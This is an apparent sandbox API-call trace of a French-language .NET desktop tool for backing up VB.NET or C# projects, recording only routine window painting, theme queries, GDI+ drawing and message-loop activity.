0x3 [0236.660] IsAppThemed () returned 0x1 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x23bdb24 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0236.660] IsAppThemed () returned 0x1 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] IsAppThemed () returned 0x1 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] GetFocus () returned 0x10186 [0236.660] IsAppThemed () returned 0x1 [0236.660] GetThemeAppProperties () returned 0x3 [0236.660] GetThemeAppProperties () returned 0x3 [0236.661] IsAppThemed () returned 0x1 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] IsThemePartDefined () returned 0x1 [0236.661] IsAppThemed () returned 0x1 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0236.661] IsAppThemed () returned 0x1 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] IsAppThemed () returned 0x1 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] GetThemeAppProperties () returned 0x3 [0236.661] IsThemePartDefined () returned 0x1 [0236.661] GdipCreateRegion (region=0x52e804) returned 0x0 [0236.661] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0236.661] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0236.661] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0236.661] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0236.661] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0236.661] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0236.661] LocalFree (hMem=0x4fa4b20) returned 0x0 [0236.661] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0236.661] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0236.661] LocalFree (hMem=0x4fa4b20) returned 0x0 [0236.661] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0236.661] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0236.661] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0236.661] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0236.661] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0236.661] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0236.661] GetCurrentObject (hdc=0x280106c4, type=0x1) returned 0x1b00017 [0236.662] GetCurrentObject (hdc=0x280106c4, type=0x2) returned 0x1900010 [0236.662] GetCurrentObject (hdc=0x280106c4, type=0x7) returned 0xa0506be [0236.662] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.662] SaveDC (hdc=0x280106c4) returned 1 [0236.662] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x540401e4 [0236.662] GetClipRgn (hdc=0x280106c4, hrgn=0x540401e4) returned 0 [0236.669] SelectClipRgn (hdc=0x280106c4, hrgn=0x81040221) returned 2 [0236.669] DeleteObject (ho=0x540401e4) returned 1 [0236.669] DeleteObject (ho=0x81040221) returned 1 [0236.669] OffsetViewportOrgEx (in: hdc=0x280106c4, x=0, y=0, lppt=0x23be1d4 | out: lppt=0x23be1d4) returned 1 [0236.669] DrawThemeParentBackground () returned 0x0 [0236.669] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0236.669] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0236.669] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0236.669] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0236.669] GetSystemMetrics (nIndex=42) returned 0 [0236.669] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0236.669] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0236.669] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0236.669] GetCurrentObject (hdc=0x280106c4, type=0x1) returned 0x1b00017 [0236.669] GetCurrentObject (hdc=0x280106c4, type=0x2) returned 0x1900010 [0236.669] GetCurrentObject (hdc=0x280106c4, type=0x7) returned 0xa0506be [0236.670] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.670] SaveDC (hdc=0x280106c4) returned 2 [0236.670] GetNearestColor (hdc=0x280106c4, color=0xf0f0f0) returned 0xf0f0f0 [0236.670] CreateSolidBrush (color=0xf0f0f0) returned 0x1d1006b3 [0236.670] FillRect (hDC=0x280106c4, lprc=0x52e314, hbr=0x1d1006b3) returned 1 [0236.670] DeleteObject (ho=0x1d1006b3) returned 1 [0236.670] RestoreDC (hdc=0x280106c4, nSavedDC=-1) returned 1 [0236.670] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0236.670] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0236.670] GetSystemMetrics (nIndex=42) returned 0 [0236.670] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0236.670] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0236.670] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0236.670] GetCurrentObject (hdc=0x280106c4, type=0x1) returned 0x1b00017 [0236.670] GetCurrentObject (hdc=0x280106c4, type=0x2) returned 0x1900010 [0236.670] GetCurrentObject (hdc=0x280106c4, type=0x7) returned 0xa0506be [0236.670] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.670] SaveDC (hdc=0x280106c4) returned 2 [0236.670] GetNearestColor (hdc=0x280106c4, color=0xf0f0f0) returned 0xf0f0f0 [0236.670] CreateSolidBrush (color=0xf0f0f0) returned 0x1e1006b3 [0236.670] FillRect (hDC=0x280106c4, lprc=0x52e2b4, hbr=0x1e1006b3) returned 1 [0236.670] DeleteObject (ho=0x1e1006b3) returned 1 [0236.671] RestoreDC (hdc=0x280106c4, nSavedDC=-1) returned 1 [0236.671] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0236.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0236.671] GetSystemMetrics (nIndex=42) returned 0 [0236.671] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0236.671] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0236.671] RestoreDC (hdc=0x280106c4, nSavedDC=-1) returned 1 [0236.671] GdipReleaseDC (graphics=0x4da5930, hdc=0x280106c4) returned 0x0 [0236.671] IsAppThemed () returned 0x1 [0236.671] GetThemeAppProperties () returned 0x3 [0236.671] GetThemeAppProperties () returned 0x3 [0236.671] IsAppThemed () returned 0x1 [0236.671] GetThemeAppProperties () returned 0x3 [0236.671] GetThemeAppProperties () returned 0x3 [0236.671] IsThemePartDefined () returned 0x1 [0236.671] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0236.671] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0236.671] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0236.671] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0236.671] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0236.671] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0236.671] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0236.671] LocalFree (hMem=0x4fa4b20) returned 0x0 [0236.671] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0236.671] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0236.671] LocalFree (hMem=0x4fa4b20) returned 0x0 [0236.671] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0236.671] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0236.672] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0236.672] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0236.672] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0236.672] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0236.672] GetCurrentObject (hdc=0x280106c4, type=0x1) returned 0x1b00017 [0236.672] GetCurrentObject (hdc=0x280106c4, type=0x2) returned 0x1900010 [0236.672] GetCurrentObject (hdc=0x280106c4, type=0x7) returned 0xa0506be [0236.672] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.672] SaveDC (hdc=0x280106c4) returned 1 [0236.672] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x82040221 [0236.672] GetClipRgn (hdc=0x280106c4, hrgn=0x82040221) returned 0 [0236.672] SelectClipRgn (hdc=0x280106c4, hrgn=0x560401e4) returned 2 [0236.672] DeleteObject (ho=0x82040221) returned 1 [0236.672] DeleteObject (ho=0x560401e4) returned 1 [0236.672] OffsetViewportOrgEx (in: hdc=0x280106c4, x=0, y=0, lppt=0x23bec0c | out: lppt=0x23bec0c) returned 1 [0236.672] IsAppThemed () returned 0x1 [0236.672] GetThemeAppProperties () returned 0x3 [0236.672] GetThemeAppProperties () returned 0x3 [0236.672] DrawThemeBackground () returned 0x0 [0236.672] RestoreDC (hdc=0x280106c4, nSavedDC=-1) returned 1 [0236.672] GdipReleaseDC (graphics=0x4da5930, hdc=0x280106c4) returned 0x0 [0236.672] GdipCreateRegion (region=0x52e790) returned 0x0 [0236.672] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0236.672] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0236.672] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0236.673] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0236.673] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0236.673] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0236.673] LocalFree (hMem=0x4fa4b20) returned 0x0 [0236.673] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0236.673] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0236.673] LocalFree (hMem=0x4fa4b20) returned 0x0 [0236.673] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0236.673] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0236.673] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0236.673] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0236.673] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0236.673] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0236.673] GetCurrentObject (hdc=0x280106c4, type=0x1) returned 0x1b00017 [0236.673] GetCurrentObject (hdc=0x280106c4, type=0x2) returned 0x1900010 [0236.673] GetCurrentObject (hdc=0x280106c4, type=0x7) returned 0xa0506be [0236.673] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.673] SaveDC (hdc=0x280106c4) returned 1 [0236.673] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x570401e4 [0236.673] GetClipRgn (hdc=0x280106c4, hrgn=0x570401e4) returned 0 [0236.673] SelectClipRgn (hdc=0x280106c4, hrgn=0x83040221) returned 2 [0236.673] DeleteObject (ho=0x570401e4) returned 1 [0236.673] DeleteObject (ho=0x83040221) returned 1 [0236.673] OffsetViewportOrgEx (in: hdc=0x280106c4, x=0, y=0, lppt=0x23beee0 | out: lppt=0x23beee0) returned 1 [0236.674] IsAppThemed () returned 0x1 [0236.674] GetThemeAppProperties () returned 0x3 [0236.674] GetThemeAppProperties () returned 0x3 [0236.674] GetThemeBackgroundContentRect () returned 0x0 [0236.674] RestoreDC (hdc=0x280106c4, nSavedDC=-1) returned 1 [0236.674] GdipReleaseDC (graphics=0x4da5930, hdc=0x280106c4) returned 0x0 [0236.674] IsAppThemed () returned 0x1 [0236.674] GetThemeAppProperties () returned 0x3 [0236.674] GetThemeAppProperties () returned 0x3 [0236.674] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0236.674] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0236.674] GetCurrentObject (hdc=0x280106c4, type=0x1) returned 0x1b00017 [0236.674] GetCurrentObject (hdc=0x280106c4, type=0x2) returned 0x1900010 [0236.674] GetCurrentObject (hdc=0x280106c4, type=0x7) returned 0xa0506be [0236.674] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.674] SaveDC (hdc=0x280106c4) returned 1 [0236.674] GetTextAlign (hdc=0x280106c4) returned 0x0 [0236.674] GetTextColor (hdc=0x280106c4) returned 0x0 [0236.674] GetCurrentObject (hdc=0x280106c4, type=0x6) returned 0x18a002e [0236.674] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0236.674] SelectObject (hdc=0x280106c4, h=0xc0a01e7) returned 0x18a002e [0236.674] GetBkMode (hdc=0x280106c4) returned 2 [0236.674] SetBkMode (hdc=0x280106c4, mode=1) returned 2 [0236.674] DrawTextExW (in: hdc=0x280106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x23bf274 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0236.675] DrawTextExW (in: hdc=0x280106c4, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x23bf274 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0236.675] RestoreDC (hdc=0x280106c4, nSavedDC=-1) returned 1 [0236.675] GdipReleaseDC (graphics=0x4da5930, hdc=0x280106c4) returned 0x0 [0236.675] GetFocus () returned 0x10186 [0236.675] IsAppThemed () returned 0x1 [0236.675] GetThemeAppProperties () returned 0x3 [0236.675] GetThemeAppProperties () returned 0x3 [0236.675] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0236.675] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x280106c4, x1=0, y1=0, rop=0xcc0020) returned 1 [0236.675] GdipReleaseDC (graphics=0x4da5930, hdc=0x280106c4) returned 0x0 [0236.675] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0236.675] SelectObject (hdc=0x280106c4, h=0x185000f) returned 0xa0506be [0236.675] DeleteDC (hdc=0x280106c4) returned 1 [0236.675] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0236.675] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0236.676] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0236.676] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0236.676] WaitMessage () returned 1 [0236.767] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.767] IsWindowUnicode (hWnd=0x101a4) returned 1 [0236.767] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.767] TranslateMessage (lpMsg=0x52ef98) returned 0 [0236.767] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0236.767] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0236.767] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0236.767] WaitMessage () returned 1 [0236.958] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.958] IsWindowUnicode (hWnd=0x101a6) returned 1 [0236.958] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0236.958] TranslateMessage (lpMsg=0x52ef98) returned 0 [0236.958] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0236.958] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0236.959] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0236.959] WaitMessage () returned 1 [0240.567] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0240.567] IsWindowUnicode (hWnd=0x10186) returned 1 [0240.567] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0240.567] GetKeyState (nVirtKey=16) returned 0 [0240.567] GetKeyState (nVirtKey=17) returned 0 [0240.567] GetKeyState (nVirtKey=18) returned -127 [0240.567] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0240.567] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0240.567] GetKeyState (nVirtKey=16) returned 0 [0240.567] GetKeyState (nVirtKey=17) returned 0 [0240.567] GetKeyState (nVirtKey=18) returned -127 [0240.567] TranslateMessage (lpMsg=0x52ef98) returned 1 [0240.567] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0240.567] GetKeyState (nVirtKey=16) returned 0 [0240.567] GetKeyState (nVirtKey=17) returned 0 [0240.567] GetKeyState (nVirtKey=18) returned -127 [0240.567] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0240.567] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0240.567] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0240.568] WaitMessage () returned 1 [0240.576] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0240.576] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0240.576] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0240.576] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0240.593] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0240.593] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0240.593] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0240.593] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0240.594] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0240.594] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0240.594] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0240.794] NtdllDefWindowProc_W () returned 0x0 [0240.795] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0240.795] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0240.795] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0240.795] GetCapture () returned 0x0 [0240.795] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0240.795] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0240.795] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0240.795] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0240.795] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0240.795] IsWindowUnicode (hWnd=0x10186) returned 1 [0240.795] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0240.795] TranslateMessage (lpMsg=0x52ef98) returned 0 [0240.796] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0240.796] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x60106b7 [0240.796] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0240.796] CreateCompatibleDC (hdc=0x60106b7) returned 0x100101a0 [0240.796] SelectObject (hdc=0x100101a0, h=0xa0506be) returned 0x185000f [0240.796] GdipCreateFromHDC (hdc=0x100101a0, graphics=0x52ea94) returned 0x0 [0240.796] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0240.797] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0240.797] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0240.797] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0240.797] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0240.797] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0240.797] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0240.797] LocalFree (hMem=0x4fa4b20) returned 0x0 [0240.797] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0240.797] GdipCreateRegion (region=0x52eadc) returned 0x0 [0240.797] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0240.797] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0240.797] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0240.797] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd950dbd) returned 0x0 [0240.797] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0240.798] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0240.798] GetCurrentObject (hdc=0x100101a0, type=0x1) returned 0x1b00017 [0240.798] GetCurrentObject (hdc=0x100101a0, type=0x2) returned 0x1900010 [0240.798] GetCurrentObject (hdc=0x100101a0, type=0x7) returned 0xa0506be [0240.798] GetCurrentObject (hdc=0x100101a0, type=0x6) returned 0x18a002e [0240.798] SaveDC (hdc=0x100101a0) returned 1 [0240.798] GetNearestColor (hdc=0x100101a0, color=0xf0f0f0) returned 0xf0f0f0 [0240.798] GetNearestColor (hdc=0x100101a0, color=0xa0a0a0) returned 0xa0a0a0 [0240.798] GetNearestColor (hdc=0x100101a0, color=0x696969) returned 0x696969 [0240.798] GetNearestColor (hdc=0x100101a0, color=0xa0a0a0) returned 0xa0a0a0 [0240.798] GetNearestColor (hdc=0x100101a0, color=0x0) returned 0x0 [0240.799] GetNearestColor (hdc=0x100101a0, color=0xffffff) returned 0xffffff [0240.799] GetNearestColor (hdc=0x100101a0, color=0xe5e5e5) returned 0xe5e5e5 [0240.799] GetNearestColor (hdc=0x100101a0, color=0xd7d7d7) returned 0xd7d7d7 [0240.799] GetNearestColor (hdc=0x100101a0, color=0x0) returned 0x0 [0240.799] RestoreDC (hdc=0x100101a0, nSavedDC=-1) returned 1 [0240.799] GdipReleaseDC (graphics=0x4da5930, hdc=0x100101a0) returned 0x0 [0240.799] IsAppThemed () returned 0x1 [0240.799] GetThemeAppProperties () returned 0x3 [0240.799] GetThemeAppProperties () returned 0x3 [0240.799] IsAppThemed () returned 0x1 [0240.799] GetThemeAppProperties () returned 0x3 [0240.799] GetThemeAppProperties () returned 0x3 [0240.799] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x241c5f0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0240.799] IsAppThemed () returned 0x1 [0240.799] GetThemeAppProperties () returned 0x3 [0240.799] GetThemeAppProperties () returned 0x3 [0240.799] IsAppThemed () returned 0x1 [0240.799] GetThemeAppProperties () returned 0x3 [0240.799] GetThemeAppProperties () returned 0x3 [0240.800] GetFocus () returned 0x0 [0240.800] IsAppThemed () returned 0x1 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] IsAppThemed () returned 0x1 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] IsThemePartDefined () returned 0x1 [0240.800] IsAppThemed () returned 0x1 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] GetThemeAppProperties () returned 0x3 [0240.800] 